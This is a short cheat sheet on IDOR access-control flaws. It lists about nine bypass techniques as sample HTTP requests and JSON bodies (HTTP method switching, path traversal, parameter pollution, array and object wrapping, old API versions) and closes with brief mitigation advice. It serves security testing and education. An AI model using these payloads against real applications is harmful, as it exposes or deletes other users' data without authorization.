Description

IDOR (Insecure Direct Object Reference) is a type of access control vulnerability that occurs when an application provides direct access to objects based on user-supplied input without proper authorization checks. This can allow an attacker to access unauthorized data by simply manipulating the input parameters.

Scenarios:

1- change HTTP method

GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200

2- Path Traversal

POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200

3- swap non-numeric with numeric id

GET /file?id=90djbkdbkdbd29dd
GET /file?id=302

5- send wildcard instead of an id

GET /api/users/user_id ->
GET /api/users/*

6- HTTP Parameter POllution Give mult value for same parameter

GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id

7- json parameter pollution

{"userid":1234,"userid":2542}

8- Wrap the ID with an array in the body

{"userid":123} ->401
{"userid":[123]} ->200

9- wrap the id with a json object

{"userid":123} ->401
{"userid":{"userid":123}} ->200

10- Test an outdata API version

GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200

Mitigation

• Access Validation :Check the user authorization before user requests it
• the application could use a UUID such as:

  https://www.example.com/settings/user/e194da7f-3d74-48e9-ac49-4c72e1b02eeb